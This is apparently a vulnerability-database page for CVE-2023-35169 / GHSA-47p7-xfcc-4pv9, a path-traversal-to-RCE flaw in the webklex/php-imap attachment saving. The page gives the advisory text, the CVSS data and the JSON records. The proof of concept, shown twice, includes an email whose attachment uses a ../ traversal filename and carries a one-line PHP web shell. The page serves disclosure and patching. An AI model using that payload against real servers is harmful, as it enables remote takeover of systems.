Vulnerability-Lookup

GHSA-47P7-XFCC-4PV9

Vulnerability from github – Published: 2023-06-21 21:58 – Updated: 2023-06-21 21:58

Summary

php-imap vulnerable to RCE through a directory traversal vulnerability

Details

Summary

An unsanitized attachment filename allows any unauthenticated user to leverage a directory traversal vulnerability which results in a remote code execution vulnerability.

Details

An attacker can send an email with a malicious attachment to the inbox, which gets crawled with webklex/php-imap or webklex/laravel-imap. Prerequisite for the vulnerability is that the script stores the attachments without providing a $filename, or providing an unsanitized $filename, in src/Attachment::save(string $path, string $filename = null) (https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L251-L255). In this case, where no $filename gets passed into the Attachment::save() method, the package would use a series of unsanitized and insecure input values from the mail as fallback (https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L252). Even if a developer passes a $filename into the Attachment::save() method, e.g. by passing the name or filename of the mail attachment itself (from email headers), the input values never get sanitized by the package. There is also no restriction about the file extension (e.g. ".php") or the contents of a file. This allows an attacker to upload malicious code of any type and content at any location where the underlying user has write permissions. The attacker can also overwrite existing files and inject malicious code into files that, e.g. get executed by the system via cron, requests,... The official documentation only shows examples of Attachment::save() without providing the $filename (https://www.php-imap.com/api/attachment), which makes this vulnerability even more widespread.

PoC

send an email with a malicious attachment to an inbox, which gets crawled by the package

Return-Path: <attacker@example.com>
Date: Fri, 17 Aug 2018 14:36:24 +0000
From: Attacker <attacker@example.com>
To: Victim <victim@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_"

Mail with malicious attachment

--_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_
Content-Type: application/octet-stream; name=shell.php
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename=../../../../../../../../../../../../var/www/shell.php

<?php
// RCE
system($_GET['cmd'] ?? '#');
?>

--_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_--

crawl email with malicious attachment
store the attachment with Attachment::save('/path/to/storage') without providing a $filename value

Impact

This is a remote code execution vulnerability that is made possible through a directory traversal vulnerability. Every application that stores attachments with Attachment::save() without providing a $filename or passing unsanitized user input is affected by this attack.

Severity

9.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "webklex/php-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "webklex/laravel-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-35169"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-21T21:58:58Z",
    "nvd_published_at": "2023-06-23T21:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nAn unsanitized attachment filename allows any unauthenticated user to leverage a directory traversal vulnerability which results in a remote code execution vulnerability.\n\n### Details\nAn attacker can send an email with a malicious attachment to the inbox, which gets crawled with webklex/php-imap or webklex/laravel-imap. Prerequisite for the vulnerability is that the script stores the attachments without providing a `$filename`, or providing an unsanitized `$filename`, in `src/Attachment::save(string $path, string $filename = null)` (https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L251-L255).\nIn this case, where no `$filename` gets passed into the `Attachment::save()` method, the package would use a series of unsanitized and insecure input values from the mail as fallback (https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L252).\nEven if a developer passes a `$filename` into the `Attachment::save()` method, e.g. by passing the name or filename of the mail attachment itself (from email headers), the input values never get sanitized by the package.\nThere is also no restriction about the file extension (e.g. \".php\") or the contents of a file. This allows an attacker to upload malicious code of any type and content at any location where the underlying user has write permissions.\nThe attacker can also overwrite existing files and inject malicious code into files that, e.g. get executed by the system via cron, requests,...\nThe official documentation only shows examples of `Attachment::save()` without providing the `$filename` (https://www.php-imap.com/api/attachment), which makes this vulnerability even more widespread.\n\n### PoC\n1. send an email with a malicious attachment to an inbox, which gets crawled by the package\n```\nReturn-Path: \u003cattacker@example.com\u003e\nDate: Fri, 17 Aug 2018 14:36:24 +0000\nFrom: Attacker \u003cattacker@example.com\u003e\nTo: Victim \u003cvictim@example.com\u003e\nMIME-Version: 1.0\nContent-Type: multipart/mixed;\n boundary=\"_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_\"\n\nMail with malicious attachment\n\n--_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_\nContent-Type: application/octet-stream; name=shell.php\nContent-Transfer-Encoding: 8bit\nContent-Disposition: attachment; filename=../../../../../../../../../../../../var/www/shell.php\n\n\u003c?php\n// RCE\nsystem($_GET[\u0027cmd\u0027] ?? \u0027#\u0027);\n?\u003e\n\n--_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_--\n\n\n```\n3. crawl email with malicious attachment\n4. store the attachment with `Attachment::save(\u0027/path/to/storage\u0027)` without providing a `$filename` value\n\n### Impact\nThis is a remote code execution vulnerability that is made possible through a directory traversal vulnerability.\nEvery application that stores attachments with `Attachment::save()` without providing a `$filename` or passing unsanitized user input is affected by this attack.\n",
  "id": "GHSA-47p7-xfcc-4pv9",
  "modified": "2023-06-21T21:58:58Z",
  "published": "2023-06-21T21:58:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Webklex/php-imap/security/advisories/GHSA-47p7-xfcc-4pv9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35169"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Webklex/php-imap/pull/414"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Webklex/php-imap"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L251-L255"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L252"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Webklex/php-imap/releases/tag/5.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "php-imap vulnerable to RCE through a directory traversal vulnerability"
}

CVE-2023-35169 (GCVE-0-2023-35169)

Vulnerability from cvelistv5 – Published: 2023-06-23 20:37 – Updated: 2024-11-27 20:22

Title

php-imap vulnerable to RCE through a directory traversal vulnerability

Summary

PHP-IMAP is a wrapper for common IMAP communication without the need to have the php-imap module installed / enabled. Prior to version 5.3.0, an unsanitized attachment filename allows any unauthenticated user to leverage a directory traversal vulnerability, which results in a remote code execution vulnerability. Every application that stores attachments with `Attachment::save()` without providing a `$filename` or passing unsanitized user input is affected by this attack. An attacker can send an email with a malicious attachment to the inbox, which gets crawled with `webklex/php-imap` or `webklex/laravel-imap`. Prerequisite for the vulnerability is that the script stores the attachments without providing a `$filename`, or providing an unsanitized `$filename`, in `src/Attachment::save(string $path, string $filename = null)`. In this case, where no `$filename` gets passed into the `Attachment::save()` method, the package would use a series of unsanitized and insecure input values from the mail as fallback. Even if a developer passes a `$filename` into the `Attachment::save()` method, e.g. by passing the name or filename of the mail attachment itself (from email headers), the input values never get sanitized by the package. There is also no restriction about the file extension (e.g. ".php") or the contents of a file. This allows an attacker to upload malicious code of any type and content at any location where the underlying user has write permissions. The attacker can also overwrite existing files and inject malicious code into files that, e.g. get executed by the system via cron or requests. Version 5.3.0 contains a patch for this issue.

Severity

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

5 references

URL	Tags
https://github.com/Webklex/php-imap/security/advi…	x_refsource_CONFIRM
https://github.com/Webklex/php-imap/pull/414	x_refsource_MISC
https://github.com/Webklex/php-imap/blob/5.2.0/sr…	x_refsource_MISC
https://github.com/Webklex/php-imap/blob/5.2.0/sr…	x_refsource_MISC
https://github.com/Webklex/php-imap/releases/tag/5.3.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
Webklex	php-imap	Affected: < 5.3.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T16:23:59.360Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
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        },
        "references": [
          {
            "name": "https://github.com/Webklex/php-imap/security/advisories/GHSA-47p7-xfcc-4pv9",
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/Webklex/php-imap/security/advisories/GHSA-47p7-xfcc-4pv9"
          },
          {
            "name": "https://github.com/Webklex/php-imap/pull/414",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/Webklex/php-imap/pull/414"
          },
          {
            "name": "https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L251-L255",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L251-L255"
          },
          {
            "name": "https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L252",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L252"
          },
          {
            "name": "https://github.com/Webklex/php-imap/releases/tag/5.3.0",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/Webklex/php-imap/releases/tag/5.3.0"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2023-35169",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-11-27T20:22:04.218611Z",
                "version": "2.0.3"
              },
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        "providerMetadata": {
          "dateUpdated": "2024-11-27T20:22:12.801Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "php-imap",
          "vendor": "Webklex",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.3.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "PHP-IMAP is a wrapper for common IMAP communication without the need to have the php-imap module installed / enabled. Prior to version 5.3.0, an unsanitized attachment filename allows any unauthenticated user to leverage a directory traversal vulnerability, which results in a remote code execution vulnerability. Every application that stores attachments with `Attachment::save()` without providing a `$filename` or passing unsanitized user input is affected by this attack.\n\nAn attacker can send an email with a malicious attachment to the inbox, which gets crawled with `webklex/php-imap` or `webklex/laravel-imap`. Prerequisite for the vulnerability is that the script stores the attachments without providing a `$filename`, or providing an unsanitized `$filename`, in `src/Attachment::save(string $path, string $filename = null)`. In this case, where no `$filename` gets passed into the `Attachment::save()` method, the package would use a series of unsanitized and insecure input values from the mail as fallback. Even if a developer passes a `$filename` into the `Attachment::save()` method, e.g. by passing the name or filename of the mail attachment itself (from email headers), the input values never get sanitized by the package. There is also no restriction about the file extension (e.g. \".php\") or the contents of a file. This allows an attacker to upload malicious code of any type and content at any location where the underlying user has write permissions. The attacker can also overwrite existing files and inject malicious code into files that, e.g. get executed by the system via cron or requests.\n\nVersion 5.3.0 contains a patch for this issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.1,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
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              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
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        "dateUpdated": "2023-06-23T20:37:28.324Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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      },
      "references": [
        {
          "name": "https://github.com/Webklex/php-imap/security/advisories/GHSA-47p7-xfcc-4pv9",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Webklex/php-imap/security/advisories/GHSA-47p7-xfcc-4pv9"
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          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Webklex/php-imap/pull/414"
        },
        {
          "name": "https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L251-L255",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L251-L255"
        },
        {
          "name": "https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L252",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L252"
        },
        {
          "name": "https://github.com/Webklex/php-imap/releases/tag/5.3.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Webklex/php-imap/releases/tag/5.3.0"
        }
      ],
      "source": {
        "advisory": "GHSA-47p7-xfcc-4pv9",
        "discovery": "UNKNOWN"
      },
      "title": "php-imap vulnerable to RCE through a directory traversal vulnerability"
    }
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  "cveMetadata": {
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    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2023-35169",
    "datePublished": "2023-06-23T20:37:28.324Z",
    "dateReserved": "2023-06-14T14:17:52.179Z",
    "dateUpdated": "2024-11-27T20:22:12.801Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-47P7-XFCC-4PV9

Summary

Details

PoC

Impact

CVE-2023-35169 (GCVE-0-2023-35169)

Tags

Sightings

Nomenclature